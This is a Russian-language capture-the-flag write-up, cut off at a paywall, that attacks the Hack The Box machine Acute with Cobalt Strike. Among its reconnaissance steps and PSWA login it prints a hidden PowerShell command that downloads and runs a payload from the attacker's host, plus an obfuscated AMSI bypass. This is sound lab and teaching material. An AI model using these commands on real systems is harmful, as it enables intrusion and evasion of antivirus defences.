• Партнер

  • В этом рай­тапе я покажу ата­ку на Active Directorу с помощью популяр­ного инс­тру­мен­та Cobalt Strike. Мы про­ведем базовый сбор информа­ции, что­бы получить пер­воначаль­ный дос­туп, затем пос­ледим за дей­стви­ями поль­зовате­ля, воору­жив­шись кей­лог­гером и скрин­шотером, а так­же рас­смот­рим один из методов прод­вижения с исполь­зовани­ем PowerShell.

    Про­ходить мы будем машину Acute с пло­щад­ки Hack The Box. Уро­вень слож­ности — hard.

    warning

    Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

     

    Разведка

     

    Сканирование портов

    До­бав­ляем IP-адрес машины в /etc/hosts:

    10.10.11.145 acute.htb

    И запус­каем ска­ниро­вание пор­тов.

    Справка: сканирование портов

    Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

    На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

    #!/bin/bash
    ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
    nmap -p$ports -A $1

    Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

    Результат работы скрипта
    Ре­зуль­тат работы скрип­та

    По резуль­татам ска­ниро­вания име­ем все­го один откры­тый порт — 443, стан­дар­тный для веб‑сер­вера. Пос­коль­ку на нем исполь­зует­ся SSL, мы можем пос­мотреть сер­тификат и в поле commonName находим домен, для которо­го он дей­стви­телен. Nmap авто­мати­чес­ки отоб­ража­ет это поле в резуль­тате ска­ниро­вания. Новый домен тоже добавим в /etc/hosts.

    10.10.11.145 acute.htb atsserver.acute.local
    Главная страница atsserver.acute.local
    Глав­ная стра­ница atsserver.acute.local

    Идем осматри­вать сайт. Ссы­лок на нем малова­то, но одна из них ведет на документ.

    Страница с документом
    Стра­ница с докумен­том

    Ска­чаем док для ана­лиза: в нем может быть инте­рес­ная информа­ция.

     

    Точка входа

    В докумен­те находим какой‑то дефол­тный пароль. Такие вещи всег­да сто­ит отме­чать — при про­хож­дении лабора­торок они по закону жан­ра обя­заны еще выс­тре­лить.

    Содержимое скачанного документа
    Со­дер­жимое ска­чан­ного докумен­та

    Так­же находим упо­мина­ние работы, а чуть даль­ше и ссыл­ку на PSWA (PowerShell Web Access). Эта фун­кция поз­воля­ет уда­лен­но управлять сер­вером с помощью PowerShell через обыч­ный бра­узер. Домен­ное имя из ссыл­ки добавим в файл /etc/hosts.

    10.10.11.145 acute.htb atsserver.acute.local

    Пе­рехо­дим по най­ден­ной ссыл­ке, и нам откры­вает­ся панель авто­риза­ции PSWA.

    Панель авторизации PSWA
    Па­нель авто­риза­ции PSWA

    У нас есть пароль, оста­лось най­ти име­на поль­зовате­ля и машины.

     

    Точка опоры

    Фай­лы вро­де офис­ных докумен­тов очень полез­ны при раз­ведке. Их метадан­ные могут содер­жать, к при­меру, имя поль­зовате­ля и наз­вание машины. Поэто­му пер­вым делом получим метадан­ные ска­чан­ного фай­ла с помощью Exiftool.

    Метаданные документа
    Ме­тадан­ные докумен­та

    Из поля Creator получа­ем имя поль­зовате­ля, а поле Description рас­кры­вает имя машины. Но с эти­ми учет­ными дан­ными под­клю­чить­ся не получи­лось, поэто­му я пошел искать на сай­те дру­гие под­сказ­ки. И нашел... име­на поль­зовате­лей.

    Найденные пользователи
    Най­ден­ные поль­зовате­ли

    Фор­миру­ем спи­сок по уже име­юще­муся у нас фор­мату.

    Список аккаунтов
    Спи­сок акка­унтов

    И с най­ден­ным паролем на обоз­начен­ной машине мы получа­ем коман­дную веб‑обо­лоч­ку PoweShell от име­ни поль­зовате­ля edavies.

    Командная веб-оболочка
    Ко­ман­дная веб‑обо­лоч­ка

    Для даль­нейшей экс­плу­ата­ции и прод­вижения я решил исполь­зовать популяр­ный фрей­мворк Cobalt Strike. Пер­вым делом соз­дадим лис­тенер.

    Параметры листенера
    Па­рамет­ры лис­тенера

    Для удоб­ной дос­тавки наг­рузки будем исполь­зовать скрипт на PowerShell, рас­положен­ный на локаль­ном веб‑сер­вере.

    Настройки Scripted Web Delivery
    Нас­трой­ки Scripted Web Delivery

    Пос­ле нас­трой­ки нам даже дадут коман­ду, которую необ­ходимо ввес­ти на целевой сис­теме.

    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.14.26:80/info'))"
    Ошибка запуска нагрузки
    Ошиб­ка запус­ка наг­рузки

    Но нас оста­нав­лива­ет анти­вирус, который триг­гернул из‑за AMSI.

    Справка: AMSI

    Antimalware Scan Interface (AMSI) — это ком­понент Microsoft Windows, который обес­печива­ет более глу­бокую про­вер­ку встро­енных служб сце­нари­ев. Прод­винутое вре­донос­ное ПО исполь­зует замас­кирован­ные или зашиф­рован­ные сце­нарии, что­бы укло­нить­ся от тра­дици­онных методов про­вер­ки. Такое вре­донос­ное ПО час­то заг­ружа­ется непос­редс­твен­но в память, поэто­му не исполь­зует фай­лы на устрой­стве. AMSI — это интерфейс, через который при­ложе­ния и служ­бы в Windows отправ­ляют зап­росы на про­вер­ку уста­нов­ленно­му на компь­юте­ре средс­тву защиты от вре­донос­ного ПО.

    Но мы можем запат­чить AMSI, что­бы исполь­зуемый нами код не ухо­дил на про­вер­ку. Метод зак­люча­ется в изме­нении адре­сов заголов­ков amsiContext (кон­текст, в котором про­исхо­дит ска­ниро­вание): зануля­ем ука­затель.

    [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
    Патч AMSI
    Патч AMSI

    И пос­ле пов­торно­го запус­ка наг­рузки получа­ем активную сес­сию в нашем фрей­мвор­ке.

    Граф сессий в CS
    Граф сес­сий в CS
     

    Продвижение

    По­лучив кон­троль над хос­том, я сра­зу прос­мотрел запущен­ные про­цес­сы и сес­сии активных поль­зовате­лей.

    Process Explorer в Cobalt Strike
    Process Explorer в Cobalt Strike

    Ви­дим запущен­ные про­цес­сы powershell.exe в пер­вой сес­сии. Это зна­чит, что поль­зователь авто­ризо­ван и выпол­няет опре­делен­ные задачи. Что­бы получить дос­туп к окру­жению сес­сии, нам нужен кон­троль над ней. Дру­гими сло­вами, наш агент дол­жен работать в той же сес­сии.

    Продолжение доступно только участникам

    Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

    Присоединяйся к сообществу «Xakep.ru»!

    Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

    Подписаться
    Уведомить о
    5 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии